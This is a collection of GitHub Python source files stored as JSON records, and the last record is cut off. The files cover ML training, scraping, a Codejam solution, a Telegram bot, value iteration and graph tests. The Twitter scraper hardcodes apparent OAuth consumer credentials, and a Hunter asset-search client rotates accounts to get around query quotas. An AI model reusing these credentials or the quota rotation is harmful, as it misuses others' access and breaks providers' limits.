+{"seq_id":"25586888893","text":"\nimport argparse\nimport torch\nimport torch.nn as nn\n\nparser = argparse.ArgumentParser(description='xxxxxxxxxxxxx')\nparser.add_argument('--image-size', '-i', default=448, type=int,\n                    metavar='N', help='image size (default: 224)')\nparser.add_argument('-j', '--workers', default=4, type=int, metavar='N',\n                    help='number of data loading workers (default: 4)')\nparser.add_argument('--epochs', default=20, type=int, metavar='N',\n                    help='number of total epochs to run')\nparser.add_argument('--epoch_step', default=[30], type=int, nargs='+',\n                    help='number of epochs to change learning rate')\nparser.add_argument('--device_ids', default=[0], type=int, nargs='+',\n                    help='number of epochs to change learning rate')\nparser.add_argument('--start-epoch', default=0, type=int, metavar='N',\n                    help='manual epoch number (useful on restarts)')\nparser.add_argument('-b', '--batch-size', default=16, type=int,\n                    metavar='N', help='mini-batch size (default: 256)')\nparser.add_argument('--lr', '--learning-rate', default=0.1, type=float,\n                    metavar='LR', help='initial learning rate')\nparser.add_argument('--lrp', '--learning-rate-pretrained', default=0.1, type=float,\n                    metavar='LR', help='learning rate for pre-trained layers')\nparser.add_argument('--momentum', default=0.9, type=float, metavar='M',\n                    help='momentum')\nparser.add_argument('--weight-decay', '--wd', default=1e-4, type=float,\n                    metavar='W', help='weight decay (default: 1e-4)')\nparser.add_argument('--print-freq', '-p', default=0, type=int,\n                    metavar='N', help='print frequency (default: 10)')\nparser.add_argument('--resume', default='', type=str, metavar='PATH',\n                    help='path to latest checkpoint (default: none)')\nparser.add_argument('-e', '--evaluate', dest='evaluate', action='store_true',\n                    help='evaluate model on validation set')\n\ndef main_eclipse():\n    global args, best_prec1, use_gpu\n    args = parser.parse_args()\n\n    use_gpu = torch.cuda.is_available()\n    num_classes = 1\n\n    model = gcn_resnet101(num_classes=num_classes, t=0.4, adj_file='data/coco/coco_adj.pkl')\n\n    # define loss function (criterion)\n    criterion = nn.MultiLabelSoftMarginLoss()\n\n    # define optimizer\n    optimizer = torch.optim.SGD(model.get_config_optim(args.lr, args.lrp),\n                                lr=args.lr,\n                                momentum=args.momentum,\n                                weight_decay=args.weight_decay)\n\n","repo_name":"gongwei1027/whale","sub_path":"data/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40091051386","text":"import os\n\nimport requests\nfrom tqdm import tqdm\n\nfrom python.src.downloader.downloader import Downloader\nfrom python.src.generator.url_generator import UrlGenerator\n\n\ndef create_image_name(i):\n    return f\"image_{str.zfill(str(i), 4)}.png\"\n\n\nclass NumberedUrlBookDownloader(Downloader):\n\n    def __init__(self,\n                 url_generator: UrlGenerator,\n                 num_pages: int = None,\n                 output_path: str = None):\n        self.url_generator = url_generator\n        self.output_path = output_path\n        self.num_pages = num_pages\n\n    def download_images(self):\n        for i in tqdm(range(1, self.num_pages)):\n            url = self.url_generator.generate_url(i)\n            self.download_and_save(i, url)\n\n    def download_and_save(self, i, url):\n        response = requests.get(url)\n        if response.status_code == 200:\n            file_path = os.path.join(self.output_path, create_image_name(i))\n            with open(file_path, 'wb') as image_file:\n                image_file.write(response.content)\n            print(f\"Downloaded {self.output_path}\")\n        else:\n            print(f\"Failed to download image from {url}\")\n","repo_name":"iankonradjohnson/BookDownloader","sub_path":"python/src/downloader/numbered_url_book_downloader.py","file_name":"numbered_url_book_downloader.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16451651499","text":"import ast\nimport operator as op\nfrom functools import reduce\nimport nbformat\nimport IPython\nimport os\nimport glob\n\n\n_use_nb_vers = 4\n\n\ndef pkg_name_from_mod_name(mod_name):\n    \"\"\"Extract the package name from a module name.\"\"\"\n    return mod_name.split('.')[0]\n\n\ndef get_refd_pkgs(s):\n    \"\"\"Extract the set of packages referenced by the Python imports in a string\n    of Python code.\n\n    Does this by creating an Abstract Syntax Tree (AST) rather than by text\n    search.\n\n    Returns a set of package names.\n    \"\"\"\n    pkgs = set()\n\n    tree = ast.parse(s)\n    for node in tree.body:\n        if isinstance(node, ast.ImportFrom):\n            pkgs.add(pkg_name_from_mod_name(node.module))\n        elif isinstance(node, ast.Import):\n            pkgs.update(pkg_name_from_mod_name(n.name) for n in node.names)\n    return set(pkgs)\n\n\ndef get_pkgs_used_in_notebook(nb_path):\n    \"\"\"Get the set of Python packages referenced by a Jupyter Notebook.\n\n    Returns a set of package names.\n    \"\"\"\n    # Parse the structure of a Notebook file\n    nb = nbformat.read(nb_path, as_version=_use_nb_vers)\n\n    # Crudely check that the default language of the Notebook\n    # is Python\n    assert nb['metadata']['language_info']['name'] == 'python'\n\n    # Use an IPythonInputSplitter to transform IPython code\n    # (complete with line and cell magics) to pure Python\n    s = IPython.core.inputsplitter.IPythonInputSplitter()\n\n    # Combine the sets of packages identified per cell by\n    # finding the set union (using op.__or__) of those sets\n    return reduce(op.__or__,\n                  (get_refd_pkgs(s.transform_cell(c.source))\n                   for c in nb['cells'] if c['cell_type'] == 'code'))\n\n\ndef gen_req_txt_for_notebooks(nbs_dir='.', req_txt_fname='requirements.txt'):\n    \"\"\"Generate a pip requirements file for all Notebooks in a directory.\"\"\"\n    # Get the file paths for all Notebooks in the source directory\n    nb_fnames = glob.glob(os.path.join(nbs_dir, '*ipynb'))\n\n    # Get the set of packages referenced in each Notebook then\n    # find the set union of all of these (NB set union is handled using\n    # the binary 'or' operator ('|' or '__or__'))\n    pkgs = reduce(op.__or__,\n                  (get_pkgs_used_in_notebook(fn) for fn in nb_fnames))\n    # Convert the result to a string containing a sorted list of package\n    # names with one package per line (the standard for pip requirements.txt)\n    req_txt = os.linesep.join(sorted(pkgs))\n\n    # Write this string to the named file\n    with open(req_txt_fname, 'w') as f:\n        f.write(req_txt)\n\n\nif __name__ == '__main__':\n    import argparse\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-d\", \"--nbs_dir\", type=str, default='.',\n        help=\"Path to directory containing Jupyter (Python) Notebooks\")\n    parser.add_argument(\"-o\", \"--req_txt_fname\", type=str,\n                        default='requirements.txt',\n        help=\"Path to directory containing Jupyter (Python) Notebooks\")\n    args = parser.parse_args()\n\n    gen_req_txt_for_notebooks(nbs_dir=args.nbs_dir,\n                              req_txt_fname=args.req_txt_fname)\n\n\n# TESTING\n\ndef test_get_pkg_name_from_mod_name():\n    assert pkg_name_from_mod_name('matplotlib.pyplot') == 'matplotlib'\n\n\ndef test_get_refd_pkgs():\n    code_string = \"a = 3; b = 5; a + b; import numpy as np; from scipy import *; import matplotlib.pyplot\"\n    pkgs = set(('matplotlib', 'numpy', 'scipy'))\n    assert get_refd_pkgs(code_string) == pkgs\n\n\ndef test_no_imports():\n    code_string = \"a = 3; b = 5\"\n    pkgs = set()\n    assert get_refd_pkgs(code_string) == pkgs\n\n\ndef test_commented_imports():\n    code_string = \"a = 3; b = 5;#import blah\"\n    pkgs = set()\n    assert get_refd_pkgs(code_string) == pkgs\n","repo_name":"mikecroucher/jupyter-interactions","sub_path":"helpers/gen_req_txt_from_notebooks.py","file_name":"gen_req_txt_from_notebooks.py","file_ext":"py","file_size_in_byte":3737,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"43974276210","text":"##############################################################################\n## To access Twitter ##\n##############################################################################\nimport tweepy\nimport indicoio\nimport sqlite3 as sql\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\ndef main():\n    indicoio.config.api_key = 'KEY_HERE'\n    auth = tweepy.OAuthHandler('I8WduwyyITtt61j61rxLGnE5T','Fesofuet7mzLhjdZYCLHkxHR2BbMainTjHv2Bk65FhFsFhrjLj')\n    api = tweepy.API(auth)\n    searchWords = open(\"/Users/perfectblack999/Documents/Developer/Nkem_Big_Data_Projects/search_words.txt\", \"r\")\n\n    tweetList = []\n    searchWordList = searchWords.read().split(',')\n\n    for searchWord in searchWordList:\n        tweetList.append((tweepy.Cursor(api.search, q = searchWord, show_user = \"true\").items(25), searchWord))\n\n    connection = sql.connect('/Users/perfectblack999/Documents/Developer/Nkem_Big_Data_Projects/tweets.sqlite')\n    connection.text_factory = str\n\n    with connection:\n        cursor = connection.cursor()\n        # iterate through the tweets and put them in database\n        for searchWordTweet in tweetList:\n            searchWord = searchWordTweet[1]\n            searchWordTweetList = []\n\n            for tweet in searchWordTweet[0]:\n                # find all words that start with \"@\" or a link\n                handles = [word for word in str(tweet.text.encode('utf8')).split() if word.startswith('@')]\n                links = [word for word in str(tweet.text.encode('utf8')).split() if word.startswith('http')]\n                clean_tweet = str(tweet.text.encode('utf8'))\n\n                for handle in handles:\n                    handle = handle + \" \"\n                    clean_tweet = clean_tweet.replace(handle, \"\")\n                for link in links:\n                    link = link\n                    clean_tweet = clean_tweet.replace(link, \"\")\n\n                clean_tweet = clean_tweet.replace(\"#\", \"\")\n                clean_tweet = clean_tweet.replace(\"RT \", \"\")\n\n                # Make sure there are no empty strings\n                if(clean_tweet == \"\"):\n                    clean_tweet = \"empty\"\n\n                tweet_insert = (str(tweet.created_at), tweet.text.encode('utf8'), clean_tweet, indicoio.sentiment(clean_tweet), str(searchWord), str(tweet.user.screen_name), tweet.user.followers_count, tweet.retweet_count, tweet.favorite_count)\n                cursor.execute(\"INSERT INTO tweet_text (date, raw_tweet, clean_tweet, sentiment, filter, screen_name, followers, retweet_count, favorite_count) VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)\", tweet_insert)\n                # pprint.pprint(\"tweet_insert: \" + str(tweet_insert))\n\n    # send confirmation email\n    fromEmail = \"nkembigdata@gmail.com\"\n    toEmail = \"nkembigdata@gmail.com\"\n    pw = \"PASSWORD\"\n    msg = MIMEMultipart()\n    msg['From'] = fromEmail\n    msg[\"To\"] = toEmail\n    msg['Subject'] = \"Nkem, Your Script Ran!\"\n\n    body = \"Hey Nkem, your script ran successfully! Hope you're having a great day! :)\"\n    msg.attach(MIMEText(body, 'plain'))\n\n    server = smtplib.SMTP('smtp.gmail.com', 587)\n    server.starttls()\n    server.login(fromEmail, pw)\n    text = msg.as_string()\n    server.sendmail(fromEmail, toEmail, text)\n    server.quit\n\nif __name__ == \"__main__\":\n   main()\n\n\n","repo_name":"perfectblack999/twitterBigData","sub_path":"twitter_practice.py","file_name":"twitter_practice.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"73965346752","text":"\"\"\"\nCodejam2023 A round\nASCII Art\n\nfor 문을 직접 순회하면 시간초과가 날 것이라고 생각했는데, 통과함\nABCDE...ZAABBCCDD...ZZAAABBB 이렇게 증가하므로 규칙을 한 번에 찾을 수 있을 것이라고 생각했는데\n바로 찾기는 어려웠다.\n\"\"\"\n\nimport math\n\nfor tc in range(int(input())):\n    N = int(input())\n    rem = 0\n    for i in range(1, 10**6):\n        if i * (i+1) * 13 >= N:\n            rem = i\n            N -= (i-1)*i*13\n            break\n    result = chr(math.ceil(N/rem) + 65 -1)\n    print(f\"Case #{tc+1}: {result}\")\n","repo_name":"BY1994/Repository","sub_path":"Algorithm/Codejam/2023/A4_ASCII_Art.py","file_name":"A4_ASCII_Art.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14872185648","text":"import base64\nimport json\nimport math\nimport time\n\nimport requests\n\nfrom config.config import config\n\n\nclass Hunter:\n    def __init__(self):\n        self.index = 0  # 当前使用的是第几个账号\n        self.account = config['hunter']['account']\n        self.nums = len(self.account)  # 共有几个账号\n        self.username = self.account[0]['username']\n        self.key = self.account[0]['key']\n        self.page = 1\n        self.size = config['hunter']['page_size']\n        self.is_web = 0\n\n    def refresh_params(self, search):\n        params = {\n            \"username\": self.username,\n            \"api-key\": self.key,\n            \"page\": self.page,\n            \"page_size\": self.size,\n            \"is_web\": self.is_web,\n            \"search\": search\n        }\n        return params\n\n    def search(self, text, limit):\n        url = \"https://hunter.qianxin.com/openApi/search\"\n        base64_text = base64.b64encode(text.encode('utf-8')).decode(\"utf-8\")\n        params = self.refresh_params(base64_text)\n        try:\n            page_nums = 1\n            data_list = []\n            page_print = False  # 是否位于分页查询部分，用于打印积分输出\n            show_totals = True  # 用于第一次查询时显示查询结果总数\n            while params['page'] <= page_nums:\n                rest = requests.get(url=url, params=params)\n                rest.json()\n                data = json.loads(rest.text)\n                # 积分用完，切换账号继续请求\n                while data['code'] == 40204:\n                    self.changeAccount()\n                    params = self.refresh_params(base64_text)\n                    rest = requests.get(url=url, params=params)\n                    rest.json()\n                    data = json.loads(rest.text)\n                # 响应内容提示请求过多\n                while data['code'] == 429:\n                    time.sleep(1)\n                    rest = requests.get(url=url, params=params)\n                    rest.json()\n                    data = json.loads(rest.text)\n                # 令牌缺失\n                if data['code'] == 401:\n                    raise ValueError('Hunter令牌缺失，请检查账号配置！')\n                # 系统维护\n                elif data['code'] == 40301:\n                    raise ValueError('Hunter系统维护中，无法进行数据请求，请稍后再试')\n                # ���求数据成功\n                elif data['code'] == 200 or data['code'] == 40205:\n                    total = data['data']['total']\n                    page_nums = math.ceil(total / self.size)\n                    if show_totals:\n                        print(\"Hunter发现数据：{}, \".format(total), end=\"\")\n                        show_totals = False\n                    if limit != 0 and total > limit:\n                        # raise ValueError(\"Hunter发现数据：{}，可能存在泛解析机制，结束分页查询\".format(total))\n                        print(\"可能存在泛解析机制，中止分页查询。\", end=\"\")\n                        page_nums = 1\n                    if not page_print:\n                        print(data['data']['rest_quota'])  # 打印今日剩余积分\n                    if not data['data']['arr']:\n                        raise ValueError(\"Hunter未发现相关数据\")\n                    # 展示分页数据\n                    data_length = len(data['data']['arr'])\n                    if page_nums > 1:\n                        print(\"第{}页发现数据：{}, \".format(params['page'], data_length), end=\"\")\n                        print(data['data']['rest_quota'])  # 打印今日剩余积分\n                        page_print = True\n                        params['page'] += 1\n                        time.sleep(2)\n                    else:\n                        # 用于跳出循环\n                        page_nums -= 1\n                    # 对数据进行筛选，只获取部分数据，将所有筛选的数据放到一个列表中返回\n                    for i in range(data_length):\n                        # 获取指定数据\n                        protocol = data['data']['arr'][i]['protocol']\n                        ip = data['data']['arr'][i]['ip']\n                        port = data['data']['arr'][i]['port']\n                        domain = data['data']['arr'][i]['domain']\n                        # 将中间件信息处理为字符串，格式：中间件/版本\n                        component = \"\"\n                        if component != \"\":\n                            for cmp in data['data']['arr'][i]['component']:\n                                component += \"{}\".format(cmp['name'])\n                                if cmp['version']:\n                                    component += \"/{}, \".format(cmp['version'])\n                                else:\n                                    component += \", \"\n                            component = component.strip(\", \")\n                        web_title = data['data']['arr'][i]['web_title']\n                        icp = data['data']['arr'][i]['number']\n                        # 将筛选数据插入列表\n                        data_list.append([protocol, ip, port, domain, component, web_title, icp])\n                else:\n                    raise ValueError(\"Hunter请求错误，请检查请求参数后再尝试！\")\n            return data_list\n        except ValueError as e:\n            print('{}'.format(e))\n            return []\n\n    def changeAccount(self):\n        if self.index < self.nums:\n            self.index += 1\n            self.username = self.account[self.index]['username']\n            self.key = self.account[self.index]['key']\n            print(\"Hunter积分不足已更换账号，当前账号为: {}\".format(self.username))\n        else:\n            print(\"积分不足，所有账号积分均已用完，Hunter数据查询失败\")\n","repo_name":"Ryan0x01/MultiQuery","sub_path":"api/hunter.py","file_name":"hunter.py","file_ext":"py","file_size_in_byte":5922,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"29319874433","text":"import asyncio\nimport time\nfrom pyrogram import filters\nfrom pyrogram.types import (InlineKeyboardButton,\n                            InlineKeyboardMarkup, Message)\nfrom youtubesearchpython.__future__ import VideosSearch\n\nimport config\nfrom config import BANNED_USERS, OWNER_ID, MUSIC_BOT_NAME, SUPPORT_GROUP\nfrom strings import get_command, get_string\nfrom FallenMusic import Telegram, YouTube, app\nfrom FallenMusic.misc import SUDOERS, _boot_\nfrom FallenMusic.plugins.sudoers import sudoers_list\nfrom FallenMusic.utils.database import (add_served_chat,\n                                       add_served_user,\n                                       blacklisted_chats,\n                                       get_assistant, get_lang,\n                                       get_userss, is_on_off,\n                                       is_served_private_chat)\nfrom FallenMusic.utils.decorators.language import LanguageStart\nfrom FallenMusic.utils.formatters import get_readable_time\nfrom FallenMusic.utils import bot_sys_stats\nfrom FallenMusic.utils.inline import (help_pannel, private_panel,\n                                     start_pannel)\n\nloop = asyncio.get_running_loop()\n\n\n@app.on_message(\n    filters.command(get_command(\"START_COMMAND\"))\n    & filters.private\n    & ~filters.edited\n    & ~BANNED_USERS\n)\n@LanguageStart\nasync def start_comm(client, message: Message, _):\n    await add_served_user(message.from_user.id)\n    if len(message.text.split()) > 1:\n        name = message.text.split(None, 1)[1]\n        if name[0:4] == \"help\":\n            keyboard = help_pannel(_)\n            await message.reply_photo(\n                       photo=config.START_IMG_URL,\n                       caption=_[\"help_1\"].format(config.SUPPORT_HEHE), reply_markup=keyboard\n            )\n        if name[0:4] == \"song\":\n            return await message.reply_text(_[\"song_2\"])\n        if name[0:3] == \"inf\":\n            m = await message.reply_text(\"🔎\")\n            query = (str(name)).replace(\"info_\", \"\", 1)\n            query = f\"https://www.youtube.com/watch?v={query}\"\n            results = VideosSearch(query, limit=1)\n            for result in (await results.next())[\"result\"]:\n                title = result[\"title\"]\n                duration = result[\"duration\"]\n                views = result[\"viewCount\"][\"short\"]\n                thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[\n                    0\n                ]\n                channellink = result[\"channel\"][\"link\"]\n                channel = result[\"channel\"][\"name\"]\n                link = result[\"link\"]\n                published = result[\"publishedTime\"]\n            searched_text = f\"\"\"\n😲**ᴛʀᴀᴄᴋ ɪɴғᴏʀɴᴀᴛɪᴏɴ**😲\n\n📌 **ᴛɪᴛʟᴇ:** {title}\n\n⏳ **ᴅᴜʀᴀᴛɪᴏɴ:** {duration} ᴍɪɴᴜᴛᴇs\n👀 **ᴠɪᴇᴡs:** `{views}`\n⏰ **ᴩᴜʙʟɪsʜᴇᴅ ᴏɴ:** {published}\n🎥 **ᴄʜᴀɴɴᴇʟ:** {channel}\n📎 **ᴄʜᴀɴɴᴇʟ ʟɪɴᴋ:** [ᴠɪsɪᴛ ᴄʜᴀɴɴᴇʟ]({channellink})\n🔗 **ʟɪɴᴋ:** [ᴡᴀᴛᴄʜ ᴏɴ ʏᴏᴜᴛᴜʙᴇ]({link})\n\n💖 sᴇᴀʀᴄʜ ᴩᴏᴡᴇʀᴇᴅ ʙʏ {config.MUSIC_BOT_NAME}\"\"\"\n            key = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(\n                            text=\"• ʏᴏᴜᴛᴜʙᴇ •\", url=f\"{link}\"\n                        ),\n                        InlineKeyboardButton(\n                            text=\"• sᴜᴩᴩᴏʀᴛ •\", url=f\"https://t.me/{SUPPORT_GROUP}\"\n                        ),\n                    ],\n                ]\n            )\n            await m.delete()\n            await app.send_photo(\n                message.chat.id,\n                photo=thumbnail,\n                caption=searched_text,\n                parse_mode=\"markdown\",\n                reply_markup=key,\n            )\n            if await is_on_off(config.LOG):\n                sender_id = message.from_user.id\n                sender_name = message.from_user.first_name\n                return await app.send_message(\n                    config.LOG_GROUP_ID,\n                    f\"{message.from_user.mention} ᴊᴜsᴛ sᴛᴀʀᴛᴇᴅ ʙᴏᴛ ᴛᴏ ᴄʜᴇᴄᴋ <code>ᴛʀᴀᴄᴋ ɪɴғᴏʀᴍᴀᴛɪᴏɴ</code>\\n\\n**ᴜsᴇʀ ɪᴅ:** {sender_id}\\n**ᴜsᴇʀɴᴀᴍᴇ:** {sender_name}\",\n                )\n    else:\n        try:\n            await app.resolve_peer(OWNER_ID[0])\n            OWNER = OWNER_ID[0]\n        except:\n            OWNER = None\n        name = (await app.get_me()).mention\n        out = private_panel(_, app.username, OWNER)\n        image = config.START_IMG_URL\n        try:\n            await app.send_photo(\n                message.chat.id,\n                photo=image,\n                caption=_[\"start_2\"].format(\n                    message.from_user.first_name, name\n                ),\n                protect_content=True,\n                reply_markup=InlineKeyboardMarkup(out),\n            )\n        except:\n            await message.reply_text(\n                _[\"start_2\"].format(message.from_user.first_name, name),\n                reply_markup=InlineKeyboardMarkup(out),\n            )\n        if await is_on_off(config.LOG):\n            sender_id = message.from_user.id\n            sender_name = message.from_user.first_name\n            return await app.send_message(\n                config.LOG_GROUP_ID,\n                f\"{message.from_user.mention} ᴊᴜsᴛ sᴛᴀʀᴛᴇᴅ ʏᴏᴜʀ ʙᴏᴛ.\\n\\n**ᴜsᴇʀ ɪᴅ:** {sender_id}\\n**ᴜsᴇʀɴᴀᴍᴇ:** {sender_name}\",\n            )\n\n\n@app.on_message(\n    filters.command(get_command(\"START_COMMAND\"))\n    & filters.group\n    & ~filters.edited\n    & ~BANNED_USERS\n)\n@LanguageStart\nasync def testbot(client, message: Message, _):\n    OWNER = OWNER_ID[0]\n    name = (await app.get_me()).mention\n    up = int(time.time() - _boot_)\n    uptime = f\"{get_readable_time((up))}\"\n    out = start_pannel(_, app.username)\n    return await app.send_photo(\n               message.chat.id,\n               photo=config.START_IMG_URL,\n               caption=_[\"start_1\"].format(\n            name, uptime\n        ),\n        protect_content=True,\n        reply_markup=InlineKeyboardMarkup(out),\n    )\n\n\nwelcome_group = 2\n","repo_name":"vickyvasnth13/Musicbotpro","sub_path":"FallenMusic/plugins/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":6262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"16860553014","text":"#Benjamin Stanelle    1001534907\r\nimport sys\r\nfrom sys import exit\r\nimport os\r\nimport numpy as np\r\nimport copy\r\n\r\ndef value_iteration():\r\n#===============Command Line Arguments======================================\r\n    environment_file=sys.argv[1] #is the path name of a file that describes the environment where the agent moves\r\n    non_terminal_reward= float(sys.argv[2]) #specifies the reward of any state that is non-terminal.\r\n    gamma = float(sys.argv[3])  #specifies the value of γ that you should use in the utility formulas.\r\n    K = int(sys.argv[4]) #specifies the number of times that the main loop of the algorithm should be iterated\r\n\r\n    if os.path.exists(environment_file):\r\n        file_train= open(environment_file, \"r\")\r\n        \r\n        if os.path.isfile(environment_file):\r\n            #reading from file and declaring array dimensions\r\n            input_arr = np.genfromtxt(file_train, delimiter = ',', dtype= str);\r\n            columns_train= len(input_arr[0])    #total number of columns in the file\r\n            rows_train= len(input_arr)          #total number of rows in the file\r\n            \r\n            # INITIALIZING\r\n            Actions = np.array([\"<\",\">\",\"v\",\"^\"]);\r\n            Up= np.zeros(shape = [rows_train, columns_train], dtype= float)\r\n            \r\n            #====================== MAIN LOOP =====================================\r\n            for z in range(K): #main loop iteration, K is hyperparameter\r\n                U= copy.deepcopy(Up) #deepcopy so we don't rewrite the same address\r\n                arr_actions_taken = []  #this will hold our direction arrows for where we should go in any state\r\n                for i in range(rows_train): #looping through all states\r\n                    for j in range(columns_train):\r\n                        reward= REWARD(input_arr[i][j], non_terminal_reward)\r\n                        \r\n                        #if it is a non-terminal state\r\n                        if( input_arr[i][j] == \".\" ):\r\n                            #U'[s]= R(s) + 𝛾 * (max utility over all actions of [∑s'{ p(s'|s,a)*U[s'] } ])\r\n                            maximum, argmax= MAX_EXPECTED_ALL_ACTIONS(Actions, U, i, j, rows_train, columns_train, input_arr)\r\n                            Up[i][j]= reward + (gamma*(maximum)) #adding to new array: reward + Expected utility for a state over all possibles actions in that state\r\n                            arr_actions_taken.append(Actions[argmax]) #appending the directional arrow\r\n                        #if its an unreachable state, has an X\r\n                        elif( input_arr[i][j] == \"X\" ):\r\n                            arr_actions_taken.append(\"x\")\r\n                            Up[i][j]= 0\r\n                            \r\n                        #if its a terminal state\r\n                        else: \r\n                            arr_actions_taken.append(\"o\")\r\n                            Up[i][j]= reward\r\n                            \r\n            AT= np.reshape(arr_actions_taken, (rows_train, columns_train)) #1d array into 2d\r\n            \r\n            print(\"\\nutilities:\\n\")\r\n            for i in range(rows_train):\r\n                for j in range(columns_train):\r\n                    print(\"%6.3f\\t\"%(Up[i][j]), end=\"\")\r\n                print(\"\\n\")\r\n            \r\n            print(\"\\npolicy:\", end=\"\")\r\n            for i in range(len(arr_actions_taken)):\r\n                if( i %columns_train ==0):\r\n                    print(\"\\n\")\r\n                print(\"%s\\t\"%(arr_actions_taken[i]), end=\"\")\r\n                \r\n\r\n            \r\n        else:\r\n            print(environment_file,\" is not a file.\")\r\n            exit(1)\r\n            \r\n    else:\r\n        print(\"'\", environment_file, \"' Path does not exist\")\r\n        exit(1)\r\n        \r\ndef REWARD(state, non_terminal_reward):\r\n    if state == \".\":\r\n        return non_terminal_reward\r\n    elif state == \"X\":\r\n        return 0;\r\n    else:\r\n        try:\r\n            float(state)\r\n            return float(state)\r\n        except ValueError:\r\n            return 0\r\n\r\n#logic for the second part of the equation: U'[s]= R(s) + 𝛾 * (max utility over all actions of [∑s'{ p(s'|s,a)*U[s'] } ])\r\n#(for all actions(sum the state's weighted probabilities*new states utility for weighted probability of the chance you will move in the chosen direction or perpendicular to that direction.))\r\n\r\ndef MAX_EXPECTED_ALL_ACTIONS(Actions, U, row, column, total_rows, total_columns, input_arr):\r\n    action_arr= np.empty([len(Actions)], dtype=float)\r\n    for a in range(len(Actions)):\r\n        if(Actions[a] == \"<\"):\r\n            utility= 0\r\n            if ((column-1)<0) or input_arr[row][column-1] == \"X\":\r\n                utility+= 0.8*U[row][column]\r\n            else:\r\n                utility+= 0.8*U[row][column-1]\r\n                \r\n            if(  (( row+1 ) > ( total_rows-1 )) or input_arr[row+1][column] == \"X\"  ):       #probability of going down\r\n                utility+= 0.1*U[row][column]\r\n            else:\r\n                utility+= 0.1*U[row+1][column]\r\n                \r\n            if( (( row-1 ) < 0) or input_arr[row-1][column] == \"X\" ):       #probability of going down\r\n                utility+= 0.1*U[row][column]\r\n            else:\r\n                utility+= 0.1*U[row-1][column]\r\n            action_arr[0]=utility\r\n            \r\n        elif(Actions[a] == \">\"):\r\n            utility=0\r\n            if ( ((column+1) > (total_columns-1)) or input_arr[row][column+1] == \"X\"):\r\n                utility+= 0.8*U[row][column]\r\n            else:\r\n                utility+= 0.8*U[row][column+1]\r\n                \r\n            if(  (( row+1 ) > ( total_rows-1 )) or input_arr[row+1][column] == \"X\" ):       #probability of going down\r\n                utility+= 0.1*U[row][column]\r\n            else:\r\n                utility+= 0.1*U[row+1][column]\r\n                \r\n            if( (( row-1 ) < 0) or input_arr[row-1][column] == \"X\" ):       #probability of going down\r\n                utility+= 0.1*U[row][column]\r\n            else:\r\n                utility+= 0.1*U[row-1][column]\r\n            action_arr[1]=utility\r\n            \r\n        elif(Actions[a] == \"v\"):\r\n            utility=0\r\n            if (((row+1)> (total_rows-1)) or input_arr[row+1][column] == \"X\"):\r\n                utility+= 0.8*U[row][column]\r\n            else:\r\n                utility+= 0.8*U[row+1][column]\r\n                \r\n            if((( column+1 ) > ( total_columns-1 )) or input_arr[row][column+1] == \"X\"):       #probability of going down\r\n                utility+= 0.1*U[row][column]\r\n            else:\r\n                utility+= 0.1*U[row][column+1]\r\n                \r\n            if( (( column-1 ) < 0) or input_arr[row][column-1] == \"X\"):       #probability of going down\r\n                utility+= 0.1*U[row][column]\r\n            else:\r\n                utility+= 0.1*U[row][column-1]\r\n            action_arr[2]=utility\r\n            \r\n        elif(Actions[a] == \"^\"):\r\n            utility=0\r\n            if (((row-1)< ( 0 )) or input_arr[row-1][column] == \"X\"):\r\n                utility+= 0.8*U[row][column]\r\n            else:\r\n                utility+= 0.8*U[row-1][column]\r\n                \r\n            if((( column+1 ) > ( total_columns-1 )) or  input_arr[row][column+1] == \"X\" ):       #probability of going down\r\n                utility+= 0.1*U[row][column]\r\n            else:\r\n                utility+= 0.1*U[row][column+1]\r\n                \r\n            if( (( column-1 ) < 0) or input_arr[row][column-1] == \"X\" ):       #probability of going down\r\n                utility+= 0.1*U[row][column]\r\n            else:\r\n                utility+= 0.1*U[row][column-1]\r\n            action_arr[3]=utility\r\n\r\n    return np.amax(action_arr), np.argmax(action_arr)\r\n            \r\n            \r\nvalue_iteration()\r\n    \r\n","repo_name":"BenjaminStanelle/reinforcement_learning","sub_path":"value_iteration/value_iteration.py","file_name":"value_iteration.py","file_ext":"py","file_size_in_byte":7799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1866108348","text":"from kosaraju.kosaraju import Graph\nfrom . import dataset as lds\nimport pytest\nimport sys\nsys.setrecursionlimit(2000)\n\ntest_datasets = [\n    {\n        'components': [\n            set([5, 4, 3]), set([9, 8, 7, 6]), set([10]), set([2, 1, 0])\n        ],\n        'graph': [[1], [2, 3], [0], [4], [5], [3], [5, 7], [8], [9], [6], [9]],\n    },\n    {\n        'components': [\n            set([8, 7]), set([5, 6, 4, 3, 2, 0]),\n            set([10, 12, 9, 11]), set([1])\n        ],\n        'graph': [\n            [2], [0], [3, 4], [2, 4], [5, 6], [0, 3],\n            [0, 7], [8], [7], [6, 8, 12], [9], [4, 9], [10, 11]\n        ],\n    },\n    {\n        'components': [set([4]), set([3]), set([1, 2, 0])],\n        'graph':  [[2, 3], [0], [1], [4], []],\n    },\n    {\n        'components': lds.result1,\n        'graph': lds.dataset1,\n    },\n    {\n        'components': lds.result2,\n        'graph': lds.dataset2,\n    },\n\n]\n\n\n@pytest.mark.parametrize(\n    'variant, ds',\n    (\n        (variant, ds)\n        for variant in [Graph]\n        for ds in test_datasets\n    )\n)\ndef test_base(variant, ds):\n    g = variant(ds['graph'])\n    for scc in g.kosaraju():\n        assert scc in 